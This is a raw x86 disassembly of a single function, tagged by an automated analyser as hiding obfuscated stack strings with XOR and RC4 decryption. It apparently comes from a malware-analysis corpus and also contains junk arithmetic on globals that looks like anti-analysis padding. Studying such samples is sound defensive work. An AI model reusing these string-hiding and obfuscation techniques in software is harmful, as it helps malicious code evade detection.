Function at 0x4255d7
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
push ebx
push esi
push edi
mov dword [ebp - 0xd0], ecx
lea edi, [ebp - 0x120]
push 5
pop ecx
mov esi, 0x42ceb0
mov dword [ebp - 0x104], edx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xa0], 0xa3fdf381
mov dword [ebp - 0x9c], 0xf0902b49
mov dword [ebp - 0x98], 0x22d2d8b8
movsb byte es:[edi], byte [esi]
mov edi, dword [0x435afc]
xor esi, esi
add edi, 0xc9f18d62
mov dword [ebp - 0x94], 0x1162f77e
mov dword [ebp - 0x90], 0x609bd78e
mov ebx, esi
mov dword [ebp - 0x8c], 0x64dc7a91
mov dword [ebp - 0xc], edi
inc ebx
cmp word [ebx*2 + str.PartA_PrivTags], si
jne 0x42564f
mov edx, 0x435b70
mov ecx, str.PartA_PrivTags
call fcn.0042483a
cmp ebx, 0x10ab
jb 0x42568f
mov eax, dword [0x435afc]
mov ecx, 0x435b70
imul edi, edi, 0xd52919c7
mov edx, eax
push eax
push ecx
mov dword [ebp - 0xc], edi
call fcn.00424d93
pop ecx
pop ecx
mov eax, esi
mov byte [ebp + eax - 0x224], al
inc eax
cmp eax, 0x100
jb 0x425691
xor edi, 0xb85bae38
mov dword [ebp - 8], edi
mov edi, esi
xor edx, edx
mov bl, byte [ebp + esi - 0x224]
push 0x14
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x120]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x224]
mov byte [ebp + esi - 0x224], al
inc esi
mov byte [ebp + edi - 0x224], bl
cmp esi, 0x100
jb 0x4256ab
mov eax, dword [ebp - 8]
xor ebx, ebx
sub eax, 0x1e7a1e30
mov dword [ebp - 0x10], ebx
mov esi, ebx
mov dword [ebp - 8], eax
mov dword [0x435afc], eax
lea eax, [ebx + 1]
movzx ebx, al
mov eax, dword [ebp - 0x10]
mov cl, byte [ebp + ebx - 0x224]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x224]
mov byte [ebp + ebx - 0x224], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x224], cl
movzx eax, byte [ebp + ebx - 0x224]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x224]
xor al, byte [ebp + esi - 0xa0]
mov byte [ebp + esi - 0x268], al
inc esi
cmp esi, 0x18
jb 0x425702
push 9
pop eax
mov ecx, eax
and dword [ebp - 0xc], 0x53c4d274
mov esi, 0x42ddfc
mov byte [ebp - 0x98], al
lea edi, [ebp - 0x24c]
mov dword [ebp - 0xa0], 0x2759aacb
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
mov dword [ebp - 0x9c], 0xfa0f7630
mov byte [ebp - 0x250], bl
mov eax, ebx
mov dword [ebp - 0x97], 0xe173e35f
movsw word es:[edi], word [esi]
mov dword [ebp - 0x93], 0xd53085f3
mov dword [ebp - 0x8f], 0xabd2e46a
mov word [ebp - 0x8b], 0xa051
mov byte [ebp - 0x89], 0xd3
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x14], ebx
mov byte [ebp + eax - 0x224], al
inc eax
cmp eax, 0x100
jb 0x4257ce
mov esi, dword [ebp - 0xc]
mov edi, ebx
push 0x26
pop ecx
xor edx, edx
mov bl, byte [ebp + edi - 0x224]
mov eax, edi
and esi, 0xfc1f0b46
div ecx
movzx ecx, bl
push 0x26
mov dword [0x435ba8], esi
movzx eax, byte [ebp + edx - 0x24c]
add eax, dword [ebp - 0x14]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x14], ecx
mov al, byte [ebp + ecx - 0x224]
mov byte [ebp + edi - 0x224], al
inc edi
mov byte [ebp + ecx - 0x224], bl
pop ecx
cmp edi, 0x100
jb 0x4257e5
xor ebx, ebx
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 4], ebx
call fcn.00424088
mov esi, 0x431b5c
lea edi, [ebp - 0x11c]
push 0x50
pop ecx
mov eax, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp cx, word [ebp - 0x11c]
jne 0x4258e8
mov edx, ecx
mov ecx, ebx
test dx, dx
je 0x425892
cmp word [ebp + ecx - 0x11c], bx
je 0x425892
inc eax
lea ecx, [eax + eax]
movzx edx, word [ecx + str.PartA_PrivTags]
cmp dx, word [ebp + ecx - 0x11c]
je 0x42586e
mov esi, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x18], eax
jae 0x4258eb
mov ebx, dword [ebp - 0x18]
mov edi, eax
mov eax, dword [ebp - 8]
push esi
mov edx, str.PartA_PrivTags
mov ecx, eax
call fcn.0042421a
pop ecx
cmp ebx, 0x1969
jne 0x4258c5
mov ecx, 0x435b70
call fcn.004253a0
mov esi, dword [0x435ba8]
inc ebx
lea eax, [esi - 0xb8390fa]
mov dword [0x435afc], eax
cmp ebx, edi
jb 0x4258a5
mov dword [ebp - 0x18], ebx
xor ebx, ebx
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esi
jmp 0x4258eb
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 0xcc]
inc eax
movzx edi, al
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xcc], edi
mov cl, byte [ebp + edi - 0x224]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x10], eax
mov al, byte [ebp + eax - 0x224]
mov byte [ebp + edi - 0x224], al
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x224], cl
movzx eax, byte [ebp + edi - 0x224]
mov ecx, dword [ebp - 4]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x224]
xor al, byte [ebp + ecx - 0xa0]
mov byte [ebp + ecx - 0xec], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 0x18
jb 0x425846
push 0x50
pop eax
mov byte [ebp - 0x3b], al
mov edx, esi
push 0xd
pop eax
mov ecx, esi
mov byte [ebp - 0xd4], bl
mov dword [ebp - 0x70], 0x3596ecac
mov dword [ebp - 0x6c], 0xdb35a7fc
mov dword [ebp - 0x68], 0x64e36953
mov dword [ebp - 0x64], 0xb54ad71e
mov dword [ebp - 0x60], 0x469b3bed
mov dword [ebp - 0x5c], 0xc7bc8428
mov dword [ebp - 0x58], 0xdecea411
mov dword [ebp - 0x54], 0xc5062351
mov dword [ebp - 0x50], 0xea802060
mov dword [ebp - 0x4c], 0x9da6c7bd
mov dword [ebp - 0x48], 0xaffa40ca
mov dword [ebp - 0x44], 0xbcdf21c3
mov dword [ebp - 0x40], 0xc9a3987d
mov byte [ebp - 0x3c], 0xac
mov dword [ebp - 0x3a], 0x4670345d
mov dword [ebp - 0x36], 0x67c16718
mov dword [ebp - 0x32], 0xb38c892d
mov dword [ebp - 0x2e], 0xfbc9fc24
mov dword [ebp - 0x2a], 0xb7698027
mov word [ebp - 0x26], 0x9b32
mov byte [ebp - 0x24], al
mov dword [ebp - 0x23], 0x54806d8f
mov dword [ebp - 0x1f], 0x2c72b51
mov word [ebp - 0x1b], 0xafcb
mov byte [ebp - 0x19], 0xb6
call fcn.004243cb
push 0x10
pop ecx
mov esi, str.Microsoft.Windows.Search.Indexer
mov dword [ebp - 0x10], ebx
lea edi, [ebp - 0xc8]
mov edx, ebx
rep movsd dword es:[edi], dword [esi]
push 0x50
pop eax
movsw word es:[edi], word [esi]
cmp ax, word [ebp - 0xc8]
jne 0x425a63
mov ecx, eax
mov eax, ebx
test cx, cx
je 0x425a60
cmp word [ebp + eax - 0xc8], bx
je 0x425a60
inc edx
lea eax, [edx + edx]
movzx ecx, word [eax + str.PartA_PrivTags]
cmp cx, word [ebp + eax - 0xc8]
je 0x425a3c
mov dword [ebp - 0x10], edx
mov edx, 0x435b70
mov ecx, str.PartA_PrivTags
call fcn.0042483a
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xd0], eax
jae 0x425ac6
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 8]
mov ebx, dword [ebp - 0xd0]
push ecx
push str.PartA_PrivTags
mov edx, esi
call fcn.00424fb7
pop ecx
pop ecx
cmp ebx, 0x949
jne 0x425ab5
mov edx, 0x435b70
mov ecx, str.PartA_PrivTags
xor edi, 0x889ebcf1
call fcn.004250e7
and esi, 0xa527854d
inc ebx
cmp ebx, dword [ebp - 0x10]
jb 0x425a89
mov dword [ebp - 8], edi
xor ebx, ebx
mov esi, 0x42cd68
lea edi, [ebp - 0x118]
mov eax, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, ebx
mov byte [ebp + eax - 0x224], al
inc eax
cmp eax, 0x100
jb 0x425ada
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x224]
push 0xd
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x118]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x224]
mov byte [ebp + esi - 0x224], al
inc esi
mov byte [ebp + edi - 0x224], bl
cmp esi, 0x100
jb 0x425aeb
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x224]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x224]
mov byte [ebp + edi - 0x224], al
mov byte [ebp + ebx - 0x224], cl
movzx eax, byte [ebp + edi - 0x224]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x224]
xor al, byte [ebp + esi - 0x70]
mov byte [ebp + esi - 0x2e0], al
inc esi
cmp esi, 0x58
jb 0x425b31
mov esi, str.is_a_directory
mov dword [ebp - 0xa0], 0xa347496b
lea edi, [ebp - 0x11c]
mov dword [ebp - 0x9c], 0x4ffd7a04
xor ebx, ebx
mov dword [ebp - 0x98], 0xf8b8e386
add dword [ebp - 8], 0x1484b9e5
mov eax, ebx
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x288], bl
mov dword [ebp - 0x94], 0x8ba87c1a
mov dword [ebp - 0x90], 0xf7e7d589
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x8c], 0x70ce1fab
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, ebx
mov byte [ebp + eax - 0x224], al
inc eax
cmp eax, 0x100
jb 0x425be1
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x224]
push 0xe
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x11c]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x224]
mov byte [ebp + esi - 0x224], al
inc esi
mov byte [ebp + edi - 0x224], bl
cmp esi, 0x100
jb 0x425bf2
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x224]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x224]
mov byte [ebp + edi - 0x224], al
mov byte [ebp + ebx - 0x224], cl
movzx eax, byte [ebp + edi - 0x224]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x224]
xor al, byte [ebp + esi - 0xa0]
mov byte [ebp + esi - 0x284], al
inc esi
cmp esi, 0x18
jb 0x425c38
mov esi, 0x42c768
mov dword [ebp - 0x84], 0xddddb1ae
lea edi, [ebp - 0x118]
mov dword [ebp - 0x80], 0xdfb7f785
push 0x50
pop eax
movsd dword es:[edi], dword [esi]
xor ebx, ebx
push 0x15
mov byte [ebp - 0x75], al
pop eax
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x61], al
push 9
pop eax
movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 8]
add edi, 0x2126ca8f
mov byte [ebp - 0x4b], al
mov byte [ebp - 0x26c], bl
mov eax, ebx
mov dword [ebp - 0x7c], 0x9b7faaea
mov word [ebp - 0x78], 0xf289
mov byte [ebp - 0x76], 0x83
mov dword [ebp - 0x74], 0x7ed5bd65
mov dword [ebp - 0x70], 0x26443308
mov dword [ebp - 0x6c], 0xf37ba507
mov dword [ebp - 0x68], 0xff6d273b
mov word [ebp - 0x64], 0xad81
mov byte [ebp - 0x62], 0xa0
mov dword [ebp - 0x60], 0xfa444975
mov dword [ebp - 0x5c], 0xc544cb2c
mov dword [ebp - 0x58], 0x619a49e9
mov dword [ebp - 0x54], 0x4e9a3cb0
mov dword [ebp - 0x50], 0xf707aeba
mov byte [ebp - 0x4c], 0x65
mov dword [ebp - 0x4a], 0xb2a37989
mov dword [ebp - 0x46], 0x5c6a4d42
mov dword [ebp - 0x42], 0x9b9a7a3b
mov dword [ebp - 0x3e], 0x49bc8de7
mov dword [ebp - 0x3a], 0x2be71cb2
mov dword [ebp - 0x36], 0x63bee3f9
mov dword [ebp - 0x32], 0xc5d2277
mov dword [ebp - 0x2e], 0xb2b4073a
mov dword [ebp - 0x2a], 0x3bfc9921
mov dword [ebp - 0x26], 0x2ecfb3fb
mov dword [ebp - 0x22], 0xc02fde7
mov dword [ebp - 0x1e], 0x1fa9b8e6
mov word [ebp - 0x1a], 0xc47b
mov dword [ebp - 8], edi
mov dword [0x435afc], edi
mov byte [ebp + eax - 0x224], al
inc eax
cmp eax, 0x100
jb 0x425d90
mov esi, ebx
mov edi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x224]
push 0xb
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x118]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x224]
mov byte [ebp + esi - 0x224], al
inc esi
mov byte [ebp + edi - 0x224], bl
cmp esi, 0x100
jb 0x425da3
mov eax, dword [ebp - 8]
add eax, 0x5a91dcfb
xor ebx, ebx
mov dword [0x435ba8], eax
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x224]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x224]
mov byte [ebp + edi - 0x224], al
mov byte [ebp + ebx - 0x224], cl
movzx eax, byte [ebp + edi - 0x224]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x224]
xor al, byte [ebp + esi - 0x84]
mov byte [ebp + esi - 0x350], al
inc esi
cmp esi, 0x6c
jb 0x425df6
mov esi, 0x42c408
mov dword [ebp - 0xa0], 0x205306ee
lea edi, [ebp - 0x114]
mov dword [ebp - 0x9c], 0xe5f8a1db
xor ebx, ebx
mov dword [ebp - 0x98], 0xae9b8ae2
mov byte [ebp - 0x2e4], bl
mov eax, ebx
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x94], 0xd45723c7
mov dword [ebp - 0x90], 0x2305cf45
mov dword [ebp - 0x8c], 0xba991269
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, ebx
mov byte [ebp + eax - 0x224], al
inc eax
cmp eax, 0x100
jb 0x425ea0
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x224]
push 9
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x114]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x224]
mov byte [ebp + esi - 0x224], al
inc esi
mov byte [ebp + edi - 0x224], bl
cmp esi, 0x100
jb 0x425eb1
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x224]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x224]
mov byte [ebp + edi - 0x224], al
mov byte [ebp + ebx - 0x224], cl
movzx eax, byte [ebp + edi - 0x224]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x224]
xor al, byte [ebp + esi - 0xa0]
mov byte [ebp + esi - 0x240], al
inc esi
cmp esi, 0x18
jb 0x425ef7
xor ebx, ebx
lea ecx, [ebp - 0x268]
mov byte [ebp - 0x228], bl
mov dword [ebp - 4], ebx
call fcn.0040b5df
mov edi, eax
xor ecx, ecx
mov edx, edi
call fcn.0040babc
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 0xec]
mov dword [ebp - 0xcc], eax
call fcn.0040ba1d
test eax, eax
jne 0x425f8f
mov edx, edi
xor ecx, ecx
call fcn.0040babc
mov dword [ebp - 4], eax
mov edx, edi
xor ecx, ecx
call fcn.0040babc
mov edx, edi
mov dword [ebp - 0x100], eax
xor ecx, ecx
call fcn.0040babc
mov edx, edi
xor ecx, ecx
mov esi, eax
call fcn.0040babc
mov ecx, edi
mov dword [ebp - 0x18], eax
call fcn.0040b8e6
push eax
push ebx
push edi
call fcn.0040b587
add esp, 0xc
mov ecx, edi
call fcn.0040a2d2
mov ecx, esi
call fcn.0040bb58
mov esi, 0x208
mov dword [ebp - 0x124], eax
mov ecx, esi
call fcn.0040a2a8
mov ecx, esi
mov dword [ebp - 8], eax
call fcn.0040a2a8
mov ecx, esi
mov dword [ebp - 0xc], eax
call fcn.0040a2a8
mov esi, eax
mov ecx, 0x800
mov dword [ebp - 0x14], esi
call fcn.0040a2a8
mov edi, eax
mov ecx, 0x500000
mov dword [ebp - 0x108], edi
call fcn.0040a2a8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0xc], ebx
je 0x426383
test esi, esi
je 0x426383
test eax, eax
je 0x426383
test edi, edi
je 0x426383
cmp dword [ebp - 8], ebx
je 0x426383
mov edx, dword [ebp - 0xcc]
mov ecx, edx
call fcn.0040b8e6
mov ecx, dword [ebp - 0xc]
push eax
call fcn.0040b6cf
mov edx, dword [ebp - 0x18]
mov ecx, edx
call fcn.0040b8e6
mov ecx, dword [ebp - 8]
push eax
call fcn.0040b6cf
pop ecx
pop ecx
lea ecx, [ebp - 0x2e0]
call fcn.0040b5df
push dword [ebp + 8]
mov esi, eax
lea edx, [ebp - 0x284]
push dword [ebp - 0x100]
push dword [ebp - 0x104]
push esi
push dword [ebp + 0x10]
push 2
pop ecx
call fcn.0040a2e6
call eax
mov ecx, esi
call fcn.0040b8e6
push eax
push ebx
push esi
call fcn.0040b587
mov ecx, esi
call fcn.0040a2d2
mov esi, dword [ebp + 0x10]
mov ecx, esi
call fcn.0040b8e6
mov edx, dword [ebp + 0x18]
push eax
call fcn.00408921
mov ecx, dword [ebp - 0xd0]
lea edx, [ebp - 0x350]
push 1
push dword [ebp + 0x18]
push dword [ebp - 0x10]
push esi
call fcn.0040dfcf
push 0x100000
push ebx
push esi
mov dword [ebp - 0x18], eax
call fcn.0040b587
add esp, 0x40
cmp dword [ebp - 0x18], ebx
jne 0x42628a
push 0xd
pop eax
push 5
pop ecx
mov esi, 0x42c4c8
mov byte [ebp - 0xe7], al
lea edi, [ebp - 0x120]
mov dword [ebp - 0xfc], 0x295b3adf
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xf8], 0xe19b45b9
mov eax, ebx
mov dword [ebp - 0xf4], 0x547fd5ac
mov dword [ebp - 0xf0], 0x9e4edead
movsw word es:[edi], word [esi]
mov dword [ebp - 0xec], 0xb86a068a
mov edi, ebx
mov byte [ebp - 0xe8], 0xfe
mov dword [ebp - 0xe6], 0x2eeedb91
mov dword [ebp - 0xe2], 0xab90661c
mov dword [ebp - 0xde], 0x27bcad7b
mov dword [ebp - 0xda], 0xef9ba7ba
mov dword [ebp - 0xd6], 0x2c8dcc9a
mov word [ebp - 0xd2], 0xb705
mov byte [ebp + eax - 0x224], al
inc eax
cmp eax, 0x100
jb 0x426195
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x224]
push 0x15
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x120]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x224]
mov byte [ebp + esi - 0x224], al
inc esi
mov byte [ebp + edi - 0x224], bl
cmp esi, 0x100
jb 0x4261a6
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x224]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x224]
mov byte [ebp + edi - 0x224], al
mov byte [ebp + ebx - 0x224], cl
movzx eax, byte [ebp + edi - 0x224]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x224]
xor al, byte [ebp + esi - 0xfc]
mov byte [ebp + esi - 0xb4], al
inc esi
cmp esi, 0x2c
jb 0x4261ec
mov esi, dword [ebp - 0x14]
lea edx, [ebp - 0xb4]
push 0x400
push esi
push dword [ebp - 0xc]
xor ecx, ecx
xor ebx, ebx
inc ecx
mov byte [ebp - 0x88], bl
call fcn.0040a2e6
call eax
push dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov ecx, esi
push dword [ebp - 0x124]
push dword [ebp - 4]
push dword [ebp + 0xc]
call fcn.0041d8f4
mov edi, dword [ebp - 0x108]
add esp, 0x10
mov dword [ebp - 0x18], eax
jmp 0x42628d
mov esi, dword [ebp - 0x14]
or dword [0x435ba8], 0x63283127
push 0x208
push ebx
push dword [ebp - 8]
call fcn.0040b587
push 0x208
push ebx
push dword [ebp - 0xc]
call fcn.0040b587
push 0x208
push ebx
push esi
call fcn.0040b587
push 0x500000
push ebx
push dword [ebp - 0x10]
call fcn.0040b587
lea ecx, [ebp - 0x240]
call fcn.0040b5df
mov esi, eax
mov ecx, esi
call fcn.0040b8e6
push eax
push esi
push edi
call fcn.0040b543
mov ecx, esi
call fcn.0040b8e6
push eax
push ebx
push esi
call fcn.0040b587
add esp, 0x48
mov ecx, esi
call fcn.0040a2d2
mov ecx, edi
call fcn.0040b8e6
mov edx, dword [ebp + 0x18]
push eax
call fcn.00408921
push dword [ebp + 0x18]
mov edx, dword [ebp - 0x104]
push dword [ebp + 0x14]
mov ecx, dword [ebp - 0xd0]
push dword [ebp + 0x10]
push dword [ebp - 0x18]
push edi
push dword [ebp + 8]
call fcn.0040f11f
add esp, 0x1c
cmp byte [0x435b70], 0
je 0x42634e
mov eax, dword [0x435ba8]
xor eax, 0xe4a1cc49
mov dword [0x435afc], eax
mov esi, 0x100000
push esi
push ebx
push dword [ebp + 0x10]
call fcn.0040b587
sub dword [0x435afc], 0x5b8f0ab4
push esi
push ebx
push dword [ebp + 0x18]
call fcn.0040b587
push 0x800
push ebx
push edi
call fcn.0040b587
mov esi, dword [ebp - 0x14]
add esp, 0x24
mov ecx, dword [ebp - 0xc]
call fcn.0040a2d2
mov ecx, esi
call fcn.0040a2d2
mov ecx, dword [ebp - 8]
call fcn.0040a2d2
mov ecx, dword [ebp - 0x10]
call fcn.0040a2d2
mov ecx, edi
call fcn.0040a2d2
cmp byte [0x435b70], 0
je 0x4263fe
mov esi, dword [0x435ba8]
call fcn.00424088
add esi, 0x3d605553
inc ebx
cmp byte [ebx + 0x435b70], 0
jne 0x4263b8
mov dword [0x435ba8], esi
mov esi, dword [ebp - 0x108]
cmp esi, ebx
jae 0x4263fe
mov eax, dword [0x435afc]
add eax, 0x4984033f
mov dword [0x435ba8], eax
cmp esi, 0x177e
jne 0x4263f9
call fcn.00425446
inc esi
cmp esi, ebx
jb 0x4263ec
pop edi
pop esi
pop ebx
leave
ret